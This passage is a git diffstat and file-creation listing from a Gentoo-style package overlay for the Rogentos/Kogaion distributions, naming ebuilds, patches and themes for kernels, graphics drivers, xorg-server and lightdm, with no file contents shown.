sys-kernel/compat-drivers/Manifest | 33 + .../compat-drivers-3.7_rc1_p6-r1.ebuild | 177 + .../compat-drivers-3.7_rc1_p6.ebuild | 185 + .../compat-drivers/compat-drivers-3.8.ebuild | 174 + .../compat-drivers/compat-drivers-3.8_rc5.ebuild | 176 + .../compat-drivers/compat-drivers-3.8_rc7.ebuild | 184 + .../files/3.8-grsec/00-read-only.patch | 23 + .../files/3.8-grsec/01-read-only.patch | 12 + .../files/3.8-grsec/02-read-only-ath.patch | 240 + .../files/3.8-grsec/03-read-only-memory.patch | 11 + .../files/3.8-grsec/04-read-only-brcm80211.patch | 11 + .../files/3.8-grsec/05-read-only-i915.patch | 17 + .../files/3.8-grsec/06-read-only-radeon.patch | 58 + .../files/3.8-grsec/07-read-only-wl1251.patch | 11 + .../files/3.8-grsec/08-read-only-ti.patch | 11 + .../files/3.8-grsec/09-read-only-nouveau.patch | 33 + .../3.8-grsec/20-version-disagrement-iwlwifi.patch | 139 + ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch | 17 + .../files/4004_zd1211rw-2.6.28.patch | 37 + .../compat-drivers/files/ath_regd_optional.patch | 39 + .../compat-drivers-3.7_rc1_p6-grsec-warnings.patch | 34 + .../files/compat-drivers-3.7_rc1_p6-grsec.patch | 8365 ++++++++++++++++++ .../files/compat-drivers-3.8-ath6kl.patch | 37 + .../files/compat-drivers-3.8-bt_tty.patch | 37 + .../files/compat-drivers-3.8-driver-select | 845 ++ .../files/ipw2200-inject.3.4.6.patch | 120 + .../files/leds-disable-strict-3.6.6.patch | 30 + .../files/leds-disable-strict-3.7_rc1_p6.patch | 30 + .../files/leds-disable-strict-3.8.patch | 30 + sys-kernel/compat-drivers/metadata.xml | 35 + sys-kernel/debian-sources-lts/Manifest | 4 + .../debian-sources-lts-2.6.32.41-r1.ebuild | 161 + .../debian-sources-lts-2.6.32.41.ebuild | 156 + .../debian-sources-lts-2.6.32.43-r1.ebuild | 161 + .../debian-sources-lts-2.6.32.43.ebuild | 156 + .../debian-sources-lts-2.6.32.46.ebuild | 162 + sys-kernel/debian-sources-lts/files/config-extract | 216 + .../files/debian-sources-2.6.32.30-bridgemac.patch | 15 + .../files/debian-sources-2.6.38.3-bridgemac.patch | 15 + sys-kernel/debian-sources-lts/metadata.xml | 6 + sys-kernel/debian-sources/Manifest | 16 + .../debian-sources/debian-sources-3.10.11.ebuild | 145 + .../debian-sources/debian-sources-3.12.3.ebuild | 145 + sys-kernel/debian-sources/files/config-extract | 219 + .../debian-sources-3.10.11-xfs-libcrc32c-fix.patch | 21 + .../debian-sources-3.12.3-xfs-libcrc32c-fix.patch | 21 + sys-kernel/debian-sources/metadata.xml | 10 + sys-kernel/kogaion-sources/Manifest | 1 + ...groups-kconfig-build-bits-for-BFQ-v7-3.10.patch | 103 + ...k-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch | 5969 +++++++++++++ ...arly-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch | 1034 +++ .../kogaion-sources/files/desktop/3.10-ck1.patch | 8732 +++++++++++++++++++ .../desktop/change-default-console-loglevel.patch | 13 + .../files/desktop/criu-no-expert.patch | 23 + .../desktop/enable_haswell_pstate_driver.patch | 33 + .../set_kogaion_extraversion_in_makefile.patch | 12 + .../files/desktop/uksm-0.1.2.2-for-v3.10.patch | 7064 +++++++++++++++ ...rect-invalid-use-of-user-timespec-in-the-.patch | 80 + .../kogaion-sources/kogaion-sources-3.10.25.ebuild | 55 + sys-kernel/linux-sabayon/Manifest | 2 + .../linux-sabayon/linux-sabayon-3.2-r2.ebuild | 12 + .../rogentos-sources-3.10.26.ebuild | 22 + .../rogentos-sources-3.10.27.ebuild | 22 + .../rogentos-sources-3.11.10.ebuild | 22 + .../rogentos-sources-3.12.10.ebuild | 22 + .../rogentos-sources-3.12.7.ebuild | 22 + .../rogentos-sources-3.12.8.ebuild | 22 + .../rogentos-sources-3.2-r2.ebuild | 19 + .../rogentos-sources-3.4.76.ebuild | 22 + .../rogentos-sources-3.4.77.ebuild | 22 + .../rogentos-sources-3.8.13.ebuild | 21 + .../rogentos-sources-3.9.11.ebuild | 22 + sys-kernel/rogentos-sources/rogentos-sources.skel | 22 + www-apps/liquid_feedback_core/ChangeLog | 12 + www-apps/liquid_feedback_core/Manifest | 2 + .../files/liquid_feedback_core-2.2.3-gentoo.patch | 24 + .../liquid_feedback_core/files/postinstall-en.txt | 25 + .../liquid_feedback_core-2.2.3.ebuild | 43 + .../liquid_feedback_core-3.0.0.ebuild | 43 + www-apps/liquid_feedback_core/metadata.xml | 14 + www-apps/liquid_feedback_frontend/ChangeLog | 12 + www-apps/liquid_feedback_frontend/Manifest | 3 + .../files/lqfb-apache.conf | 41 + .../files/lqfb.example.com.conf | 24 + .../liquid_feedback_frontend/files/myconfig.lua | 29 + .../files/postinstall-en.txt | 52 + .../liquid_feedback_frontend-2.2.2.ebuild | 64 + .../liquid_feedback_frontend-2.2.5.ebuild | 63 + www-apps/liquid_feedback_frontend/metadata.xml | 13 + x11-base/xorg-server/ChangeLog | 2958 +++++++ x11-base/xorg-server/Manifest | 38 + x11-base/xorg-server/files/xdm-setup.initd-1 | 14 + x11-base/xorg-server/files/xdm.confd-3 | 16 + x11-base/xorg-server/files/xdm.confd-4 | 10 + x11-base/xorg-server/files/xdm.initd | 209 + x11-base/xorg-server/files/xdm.initd-3 | 218 + x11-base/xorg-server/files/xdm.initd-4 | 220 + x11-base/xorg-server/files/xdm.initd-5 | 219 + x11-base/xorg-server/files/xdm.initd-7 | 220 + x11-base/xorg-server/files/xdm.initd-8 | 216 + .../files/xorg-cve-2011-4028+4029.patch | 22 + ...org-server-1.11-disable-tests-without-ddx.patch | 64 + ...rver-1.11-dix-pointerrootwin-send-focusin.patch | 27 + .../xorg-server-1.11-dix-send-focus-events.patch | 48 + .../files/xorg-server-1.11-log-format-fix.patch | 441 + .../xorg-server-1.11-pointer-to-int-cast.patch | 87 + .../files/xorg-server-1.12-disable-acpi.patch | 11 + ...rg-server-1.12-xf86edidmodes-array-bounds.patch | 35 + .../files/xorg-server-1.9-nouveau-default.patch | 30 + .../files/xorg-server-die-ugly-background.patch | 16 + .../files/xorg-server-disable-acpi.patch | 31 + .../xorg-server/files/xorg-server-glapi_c.patch | 78 + x11-base/xorg-server/files/xorg-sets.conf | 6 + x11-base/xorg-server/metadata.xml | 12 + x11-base/xorg-server/xorg-server-1.10.4.ebuild | 269 + x11-base/xorg-server/xorg-server-1.11.3.ebuild | 264 + x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild | 276 + x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild | 266 + x11-base/xorg-server/xorg-server-1.12.2.ebuild | 264 + x11-base/xorg-server/xorg-server-1.12.3.ebuild | 263 + x11-base/xorg-server/xorg-server-1.12.4.ebuild | 263 + x11-drivers/ati-drivers/Manifest | 61 + x11-drivers/ati-drivers/ati-drivers-11.10.ebuild | 233 + x11-drivers/ati-drivers/ati-drivers-11.11.ebuild | 233 + x11-drivers/ati-drivers/ati-drivers-11.12.ebuild | 233 + x11-drivers/ati-drivers/ati-drivers-11.6.ebuild | 236 + x11-drivers/ati-drivers/ati-drivers-11.8.ebuild | 233 + x11-drivers/ati-drivers/ati-drivers-11.9.ebuild | 233 + x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild | 236 + x11-drivers/ati-drivers/ati-drivers-12.10.ebuild | 240 + x11-drivers/ati-drivers/ati-drivers-12.2.ebuild | 239 + x11-drivers/ati-drivers/ati-drivers-12.3.ebuild | 239 + x11-drivers/ati-drivers/ati-drivers-12.4.ebuild | 242 + x11-drivers/ati-drivers/ati-drivers-12.6.ebuild | 252 + .../ati-drivers-12.6_beta_pre897.ebuild | 239 + x11-drivers/ati-drivers/ati-drivers-12.8.ebuild | 235 + x11-drivers/ati-drivers/ati-drivers-13.1.ebuild | 258 + x11-drivers/ati-drivers/ati-drivers-13.4.ebuild | 192 + .../ati-drivers/files/amd-drivers-3.2.7.1.patch | 19 + .../files/ati-drivers-12.2-redefine-WARN.patch | 42 + ...ivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch | 27 + .../ati-drivers/files/ati-drivers-2.6.33.patch | 140 + .../ati-drivers/files/ati-drivers-2.6.34.patch | 10 + .../files/ati-drivers-2.6.35-and-newer.patch | 11 + .../ati-drivers/files/ati-drivers-2.6.36.patch | 26 + .../ati-drivers/files/ati-drivers-2.6.37.patch | 14 + .../ati-drivers/files/ati-drivers-2.6.38.patch | 60 + .../ati-drivers/files/ati-drivers-2.6.39.patch | 55 + .../ati-drivers/files/ati-drivers-3.2.8+-2.patch | 12 + .../ati-drivers/files/ati-drivers-3.2.8+.patch | 29 + .../files/ati-drivers-CVE-2010-3081-fix.patch | 60 + .../ati-drivers/files/ati-drivers-do_mmap.patch | 50 + .../ati-drivers-fix_compilation-bug-297322.patch | 25 + .../files/ati-drivers-kernel-3.8-acpihandle.patch | 15 + .../ati-drivers/files/ati-drivers-old_rsp.patch | 24 + .../files/ati-drivers-redefine-WARN.patch | 39 + .../files/ati-drivers-vm-reserverd.patch | 12 + .../ati-drivers-x32_something_something.patch | 13 + .../ati-drivers/files/ati-drivers-xen.patch | 62 + .../files/ati-powermode-opt-path-2.patch | 42 + .../files/ati-powermode-opt-path-3.patch | 40 + x11-drivers/ati-drivers/files/atieventsd.init | 20 + .../ati-drivers/files/const-notifier-block.patch | 25 + .../kernel/2.6.31-fglrx_find_task_by_vpid.patch | 19 + .../files/kernel/2.6.32-9.11-fix_compilation.patch | 37 + x11-drivers/ati-drivers/files/switchlibGL | 61 + x11-drivers/ati-userspace/Manifest | 57 + .../ati-userspace/ati-userspace-11.10.ebuild | 384 + .../ati-userspace/ati-userspace-11.11.ebuild | 412 + .../ati-userspace/ati-userspace-11.12.ebuild | 412 + .../ati-userspace/ati-userspace-11.6.ebuild | 386 + .../ati-userspace/ati-userspace-11.8.ebuild | 398 + .../ati-userspace/ati-userspace-11.9.ebuild | 398 + .../ati-userspace/ati-userspace-12.1-r1.ebuild | 414 + .../ati-userspace/ati-userspace-12.10.ebuild | 433 + .../ati-userspace/ati-userspace-12.2.ebuild | 414 + .../ati-userspace/ati-userspace-12.3.ebuild | 416 + .../ati-userspace/ati-userspace-12.4.ebuild | 416 + .../ati-userspace/ati-userspace-12.6.ebuild | 430 + .../ati-userspace-12.6_beta_pre897.ebuild | 430 + .../ati-userspace/ati-userspace-12.8.ebuild | 426 + .../ati-userspace/ati-userspace-13.1.ebuild | 481 ++ .../ati-userspace/ati-userspace-13.4.ebuild | 487 ++ .../ati-userspace/files/amd-drivers-3.2.7.1.patch | 19 + .../files/ati-drivers-12.2-redefine-WARN.patch | 42 + ...ivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch | 27 + .../ati-userspace/files/ati-drivers-2.6.33.patch | 140 + .../ati-userspace/files/ati-drivers-2.6.34.patch | 10 + .../files/ati-drivers-2.6.35-and-newer.patch | 11 + .../ati-userspace/files/ati-drivers-2.6.36.patch | 26 + .../ati-userspace/files/ati-drivers-2.6.37.patch | 11 + .../ati-userspace/files/ati-drivers-2.6.38.patch | 59 + .../files/ati-drivers-CVE-2010-3081-fix.patch | 60 + .../ati-userspace/files/ati-drivers-do_mmap.patch | 50 + .../ati-drivers-fix_compilation-bug-297322.patch | 25 + .../files/ati-drivers-kernel-3.8-acpihandle.patch | 15 + .../ati-userspace/files/ati-drivers-old_rsp.patch | 24 + .../files/ati-drivers-vm-reserverd.patch | 12 + .../ati-drivers-x32_something_something.patch | 13 + .../ati-userspace/files/ati-drivers-xen.patch | 62 + .../files/ati-powermode-opt-path-2.patch | 42 + .../files/ati-powermode-opt-path-3.patch | 40 + x11-drivers/ati-userspace/files/atieventsd.init | 20 + .../ati-userspace/files/const-notifier-block.patch | 25 + .../kernel/2.6.31-fglrx_find_task_by_vpid.patch | 19 + .../files/kernel/2.6.32-9.11-fix_compilation.patch | 37 + x11-drivers/ati-userspace/files/switchlibGL | 61 + x11-drivers/nvidia-drivers/Manifest | 120 + x11-drivers/nvidia-drivers/files/10nvidia | 1 + .../nvidia-drivers/files/256.35-unified-arch.patch | 30 + .../nvidia-drivers/files/eblits/donvidia.eblit | 21 + .../nvidia-drivers/files/eblits/mtrr_check.eblit | 19 + .../files/eblits/src_install-libs.eblit | 116 + .../nvidia-drivers/files/eblits/want_tls.eblit | 33 + x11-drivers/nvidia-drivers/files/libGL.la-r2 | 32 + .../files/make-use-of-the-new-uapi-framework.patch | 46 + x11-drivers/nvidia-drivers/files/nvidia | 40 + x11-drivers/nvidia-drivers/files/nvidia-169.07 | 14 + .../files/nvidia-drivers-173-3.10.patch | 714 ++ .../files/nvidia-drivers-260.19.44-2.6.39.patch | 10 + .../files/nvidia-drivers-290.10-3.2.8+.patch | 11 + .../files/nvidia-drivers-304-3.10.patch | 626 ++ .../files/nvidia-drivers-313.18-3.8.patch | 24 + .../files/nvidia-drivers-319.23-3.10.patch | 604 ++ .../files/nvidia-drivers-96.43.19-2.6.39.patch | 10 + .../files/nvidia-drivers-pax-const.patch | 17 + .../files/nvidia-drivers-pax-usercopy.patch | 54 + ...RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch | 28 + x11-drivers/nvidia-drivers/metadata.xml | 10 + .../nvidia-drivers/nvidia-drivers-173.14.31.ebuild | 199 + .../nvidia-drivers/nvidia-drivers-173.14.34.ebuild | 204 + .../nvidia-drivers/nvidia-drivers-173.14.35.ebuild | 204 + .../nvidia-drivers/nvidia-drivers-275.09.07.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-280.13.ebuild | 195 + .../nvidia-drivers/nvidia-drivers-285.05.09.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-290.10.ebuild | 195 + .../nvidia-drivers/nvidia-drivers-295.20.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-295.33.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-295.40.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-295.49.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-295.53.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-295.59.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-302.17.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-304.22.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-304.37.ebuild | 180 + .../nvidia-drivers/nvidia-drivers-304.64.ebuild | 444 + .../nvidia-drivers/nvidia-drivers-304.88.ebuild | 187 + .../nvidia-drivers/nvidia-drivers-310.19.ebuild | 180 + .../nvidia-drivers/nvidia-drivers-313.18.ebuild | 431 + .../nvidia-drivers/nvidia-drivers-313.30.ebuild | 184 + .../nvidia-drivers/nvidia-drivers-325.15.ebuild | 192 + .../nvidia-drivers/nvidia-drivers-96.43.20.ebuild | 199 + x11-drivers/nvidia-userspace/Manifest | 104 + x11-drivers/nvidia-userspace/files/09nvidia | 2 + .../files/90mutter-disable-culling | 2 + .../files/NVIDIA_glx-defines.patch | 11 + .../files/NVIDIA_glx-glheader.patch | 13 + .../nvidia-userspace/files/eblits/donvidia.eblit | 21 + .../nvidia-userspace/files/eblits/mtrr_check.eblit | 19 + .../files/eblits/src_install-libs.eblit | 116 + .../nvidia-userspace/files/eblits/want_tls.eblit | 33 + x11-drivers/nvidia-userspace/files/libGL.la-r2 | 32 + x11-drivers/nvidia-userspace/files/nvidia | 40 + x11-drivers/nvidia-userspace/files/nvidia-169.07 | 14 + x11-drivers/nvidia-userspace/files/nvidia-smi.init | 25 + x11-drivers/nvidia-userspace/files/nvidia-udev.sh | 17 + .../nvidia-userspace/files/nvidia.udev-rule | 6 + x11-drivers/nvidia-userspace/metadata.xml | 10 + .../nvidia-userspace-173.14.31.ebuild | 395 + .../nvidia-userspace-173.14.34.ebuild | 395 + .../nvidia-userspace-173.14.35.ebuild | 395 + .../nvidia-userspace-275.09.07.ebuild | 414 + .../nvidia-userspace-280.13.ebuild | 414 + .../nvidia-userspace-285.05.09.ebuild | 414 + .../nvidia-userspace-290.10.ebuild | 436 + .../nvidia-userspace-295.20.ebuild | 436 + .../nvidia-userspace-295.33.ebuild | 452 + .../nvidia-userspace-295.40.ebuild | 456 + .../nvidia-userspace-295.49.ebuild | 453 + .../nvidia-userspace-295.53.ebuild | 453 + .../nvidia-userspace-295.59.ebuild | 453 + .../nvidia-userspace-302.17.ebuild | 453 + .../nvidia-userspace-304.22.ebuild | 453 + .../nvidia-userspace-304.37.ebuild | 385 + .../nvidia-userspace-304.88.ebuild | 379 + .../nvidia-userspace-310.19.ebuild | 385 + .../nvidia-userspace-313.30.ebuild | 368 + .../nvidia-userspace-325.15.ebuild | 372 + .../nvidia-userspace-96.43.20.ebuild | 395 + x11-drivers/pvr-omap4/Manifest | 4 + x11-drivers/pvr-omap4/README | 2 + .../pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild | 38 + x11-drivers/xf86-video-ati/Manifest | 13 + ...ideo-ati-6.14.4-exa-solid-accel-evergreen.patch | 287 + ...f86-video-ati-6.14.4-exa-solid-accel-r100.patch | 179 + ...f86-video-ati-6.14.4-exa-solid-accel-r200.patch | 176 + ...f86-video-ati-6.14.4-exa-solid-accel-r300.patch | 560 ++ x11-drivers/xf86-video-ati/metadata.xml | 5 + .../xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild | 46 + .../xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild | 43 + .../xf86-video-ati/xf86-video-ati-7.0.0.ebuild | 37 + .../xf86-video-ati/xf86-video-ati-7.1.0.ebuild | 41 + x11-drivers/xf86-video-intel/Manifest | 3 + x11-drivers/xf86-video-intel/metadata.xml | 9 + .../xf86-video-intel-2.20.0.ebuild | 55 + x11-drivers/xf86-video-radeonhd/Manifest | 1 + .../xf86-video-radeonhd-9999.ebuild | 31 + x11-libs/vdpau-video/Manifest | 2 + x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild | 41 + x11-misc/lightdm-base/Manifest | 3 + x11-misc/lightdm-base/files/README.gentoo | 11 + x11-misc/lightdm-base/files/Xsession | 69 + x11-misc/lightdm-base/files/lightdm | 8 + .../files/lightdm-1.7.7-session-wrapper.patch | 13 + x11-misc/lightdm-base/files/lightdm-autologin | 6 + x11-misc/lightdm-base/files/lightdm.service | 14 + .../files/session-wrapper-lightdm.patch | 13 + x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild | 91 + x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild | 91 + x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild | 98 + x11-misc/lightdm-base/metadata.xml | 21 + x11-misc/lightdm-gtk-greeter/Manifest | 3 + .../lightdm-gtk-greeter-1.3.1-r1.ebuild | 48 + .../lightdm-gtk-greeter-1.6.1.ebuild | 44 + .../lightdm-gtk-greeter-1.7.0.ebuild | 47 + x11-misc/lightdm-kde/Manifest | 1 + .../files/lightdm-kde-0.3.2.1-lightdm-1.7.patch | 49 + x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild | 38 + x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild | 41 + x11-misc/lightdm-kde/metadata.xml | 5 + x11-misc/lightdm-qt4/Manifest | 3 + .../files/lightdm-1.2.0-fix-configure.patch | 10 + x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild | 57 + x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild | 56 + x11-misc/lightdm-qt4/metadata.xml | 6 + x11-misc/lightdm/lightdm-1.4.0-r1.ebuild | 22 + x11-misc/lightdm/lightdm-1.8.5-r2.ebuild | 22 + x11-misc/lightdm/metadata.xml | 6 + x11-misc/virtualgl/ChangeLog | 72 + x11-misc/virtualgl/Manifest | 18 + x11-misc/virtualgl/files/vgl.confd-r1 | 27 + x11-misc/virtualgl/files/vgl.initd-r1 | 30 + x11-misc/virtualgl/files/vgl.initd-r2 | 30 + x11-misc/virtualgl/metadata.xml | 21 + x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild | 80 + x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild | 80 + x11-themes/cristal-blue/Manifest | 4 + x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild | 55 + x11-themes/elementary-icon-theme/Manifest | 3 + .../elementary-icon-theme-2.7.1-r1.ebuild | 107 + x11-themes/faenza-cupertino/Manifest | 2 + .../faenza-cupertino/faenza-cupertino-1.0.ebuild | 33 + x11-themes/faenza-kupertino-icons/Manifest | 2 + .../faenza-kupertino-icons-1.0.ebuild | 40 + x11-themes/gnome-colors-common/Manifest | 4 + .../gnome-colors-common-5.5.1-r12.ebuild | 51 + x11-themes/gnome-colors-common/metadata.xml | 9 + x11-themes/kogaion-artwork-core/Manifest | 5 + .../kogaion-artwork-core-1.ebuild | 59 + .../kogaion-artwork-core-2-r1.ebuild | 60 + .../kogaion-artwork-core-2.ebuild | 60 + x11-themes/kogaion-artwork-gnome/Manifest | 1 + .../files/gnome-backgrounds.xml | 919 ++ .../files/org.kogaion.gschema.override | 22 + .../kogaion-artwork-gnome-1.0-r1.ebuild | 66 + .../kogaion-artwork-gnome-1.0-r2.ebuild | 71 + .../kogaion-artwork-gnome-1.0-r3.ebuild | 71 + .../kogaion-artwork-gnome-1.0.ebuild | 66 + x11-themes/kogaion-artwork-lxde/Manifest | 5 + .../kogaion-artwork-lxde-1.1-r1.ebuild | 38 + .../kogaion-artwork-lxde-1.1.ebuild | 35 + .../kogaion-artwork-lxde-1.ebuild | 34 + x11-themes/kogaion-artwork-mate/Manifest | 2 + .../files/org.mate.kogaion.gschema.override | 16 + .../kogaion-artwork-mate-1.0.ebuild | 45 + x11-themes/kogaion-dark-theme/Manifest | 6 + .../kogaion-dark-theme-1.0.ebuild | 68 + .../kogaion-dark-theme-2.0.ebuild | 70 + .../kogaion-dark-theme-2.1.ebuild | 70 + x11-themes/kogaion-elementary-icons/Manifest | 2 + .../kogaion-elementary-icons-1.0.ebuild | 27 + x11-themes/kogaion-light-theme/Manifest | 6 + .../kogaion-light-theme-1.0.ebuild | 68 + .../kogaion-light-theme-2.0.ebuild | 70 + .../kogaion-light-theme-2.1.ebuild | 70 + x11-themes/mediterranean-night/Manifest | 2 + .../mediterranean-night-2.03.ebuild | 38 + x11-themes/pacifica-icon-theme/Manifest | 2 + .../pacifica-icon-theme-1.0.ebuild | 27 + x11-themes/pidgin-penguins-smileys/ChangeLog | 9 + x11-themes/pidgin-penguins-smileys/Manifest | 24 + x11-themes/pidgin-penguins-smileys/metadata.xml | 7 + .../pidgin-penguins-smileys-1.0.ebuild | 27 + x11-themes/pidgin-smileys/ChangeLog | 57 + x11-themes/pidgin-smileys/Manifest | 42 + x11-themes/pidgin-smileys/metadata.xml | 7 + .../pidgin-smileys/pidgin-smileys-20080819.ebuild | 50 + .../pidgin-smileys/pidgin-smileys-20100821.ebuild | 52 + x11-themes/rogentos-artwork-core/Manifest | 4 + .../rogentos-artwork-core-1.ebuild | 53 + .../rogentos-artwork-core-2.1.ebuild | 72 + .../rogentos-artwork-core-2.2.ebuild | 71 + .../rogentos-artwork-core-2.ebuild | 63 + x11-themes/rogentos-artwork-extra/Manifest | 2 + .../rogentos-artwork-extra-1.ebuild | 32 + x11-themes/rogentos-artwork-grub/Manifest | 7 + .../rogentos-artwork-grub-1.ebuild | 32 + .../rogentos-artwork-grub-2-r1.ebuild | 32 + .../rogentos-artwork-grub-2.1.ebuild | 32 + .../rogentos-artwork-grub-2.ebuild | 32 + x11-themes/rogentos-artwork-isolinux/Manifest | 7 + .../rogentos-artwork-isolinux-1.ebuild | 28 + .../rogentos-artwork-isolinux-2-r1.ebuild | 28 + .../rogentos-artwork-isolinux-2.1.ebuild | 28 + .../rogentos-artwork-isolinux-2.ebuild | 28 + x11-themes/rogentos-artwork-kde/Manifest | 3 + .../files/5.4-hotfixes/rogentos.xml | 159 + .../rogentos-artwork-kde-1.ebuild | 44 + .../rogentos-artwork-loo-1.ebuild | 31 + x11-themes/rogentos-artwork-lxde/Manifest | 2 + .../rogentos-artwork-lxde-1.ebuild | 32 + x11-themes/rogentos-artwork-resplash/Manifest | 2 + .../rogentos-artwork-resplash-1.1.ebuild | 46 + .../rogentos-artwork-resplash-1.ebuild | 45 + x11-themes/tango-icon-theme/Manifest | 4 + x11-themes/tango-icon-theme/metadata.xml | 8 + .../tango-icon-theme-0.8.90.ebuild | 72 + x11-themes/zukitwo-brave/Manifest | 2 + x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild | 66 + x11-wm/awemenugen/Manifest | 2 + x11-wm/awemenugen/awemenugen-20120205.ebuild | 36 + xfce-extra/thunar-dropbox/Manifest | 3 + .../files/thunar-dropbox-0.2.0-wscript.patch | 36 + .../thunar-dropbox/thunar-dropbox-0.2.0.ebuild | 43 + xfce-extra/xfce4-messenger-plugin/Manifest | 5 + .../xfce4-messenger-plugin-0.1.0-r1.ebuild | 48 + .../xfce4-messenger-plugin-0.1.0.ebuild | 47 + 1508 files changed, 215128 insertions(+) create mode 100644 README create mode 100644 app-admin/anaconda/Manifest create mode 100644 app-admin/anaconda/anaconda-9999.ebuild create mode 100644 app-admin/anaconda/files/compat.py create mode 100644 app-admin/anaconda/files/liveinst create mode 100644 app-admin/anaconda/files/make_liveinst_update_package.sh create mode 100644 app-admin/butonasvesel/Manifest create mode 100644 app-admin/butonasvesel/butonasvesel-1.ebuild create mode 100644 app-admin/conky-full/Manifest create mode 100644 app-admin/conky-full/conky-full-1.9.0.ebuild create mode 100644 app-admin/conky-full/files/conky-1.8.1-acpitemp.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-battery-time.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-curl-headers.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch create mode 100644 app-admin/conky-full/files/conky-1.8.1-xmms2.patch create mode 100644 app-admin/conky-full/files/conky-1.9.0-ncurses.patch create mode 100644 app-admin/conky/Manifest create mode 100644 app-admin/conky/conky-1.8.1-r6.ebuild create mode 100644 app-admin/conky/conky-1.9.0.ebuild create mode 100644 app-admin/conky/files/conky-1.8.1-acpitemp.patch create mode 100644 app-admin/conky/files/conky-1.8.1-battery-time.patch create mode 100644 app-admin/conky/files/conky-1.8.1-curl-headers.patch create mode 100644 app-admin/conky/files/conky-1.8.1-lua-5.2.patch create mode 100644 app-admin/conky/files/conky-1.8.1-maxinterfaces.patch create mode 100644 app-admin/conky/files/conky-1.8.1-nvidia-x.patch create mode 100644 app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch create mode 100644 app-admin/conky/files/conky-1.8.1-utf8-scroll.patch create mode 100644 app-admin/conky/files/conky-1.8.1-xmms2.patch create mode 100644 app-admin/conky/files/conky-1.9.0-ncurses.patch create mode 100644 app-admin/conky/metadata.xml create mode 100644 app-admin/eselect-lightdm/Manifest create mode 100644 app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild create mode 100644 app-admin/eselect-lightdm/files/lightdm-0.2.eselect create mode 100644 app-admin/example1/Manifest create mode 100644 app-admin/example1/example1-2012.ebuild create mode 100644 app-admin/example2/Manifest create mode 100644 app-admin/example2/example2-1.0.ebuild create mode 100644 app-admin/example2/example2-1.1.ebuild create mode 100644 app-admin/example2/files/patch-1.0.patch create mode 100644 app-admin/example2/files/patch-1.1.patch create mode 100644 app-admin/kernel-schimbare/Manifest create mode 100644 app-admin/kernel-schimbare/kernel-schimbare-1.ebuild create mode 100644 app-admin/kernel-schimbare/kernel-schimbare-2.ebuild create mode 100644 app-admin/minus-desktop-tool/Manifest create mode 100644 app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild create mode 100644 app-admin/our-archive/Manifest create mode 100644 app-admin/our-archive/files/creation-1.patch create mode 100644 app-admin/our-archive/our-archive-1.01.ebuild create mode 100644 app-admin/our-archive/our-archive-1.ebuild create mode 100644 app-admin/rose-installer/Manifest create mode 100644 app-admin/rose-installer/files/RoSeInstaller.desktop create mode 100644 app-admin/rose-installer/files/rose-installer.png create mode 100644 app-admin/rose-installer/rose-installer-1.0.ebuild create mode 100644 app-admin/stability-watcher/Manifest create mode 100644 app-admin/stability-watcher/files/07-rogentos-packages.mask create mode 100644 app-admin/stability-watcher/files/entropy_sabayonlinux.org create mode 100644 app-admin/stability-watcher/stability-watcher-0.1.ebuild create mode 100644 app-editors/emacs/Manifest create mode 100644 app-editors/emacs/emacs-24.2.ebuild create mode 100644 app-editors/liteide/Manifest create mode 100644 app-editors/liteide/liteide-9999.ebuild create mode 100644 app-emulation/packettracer/Manifest create mode 100644 app-emulation/packettracer/packettracer-533.ebuild create mode 100644 app-emulation/playonlinux/Manifest create mode 100644 app-emulation/playonlinux/playonlinux-4.1.0.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.1.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.3.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.4.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.5.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.6.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.1.8.ebuild create mode 100644 app-emulation/playonlinux/playonlinux-4.2.1.ebuild create mode 100644 app-emulation/steam/Manifest create mode 100644 app-emulation/steam/steam-1.0.0.45.ebuild create mode 100644 app-misc/anaconda-runtime/Manifest create mode 100644 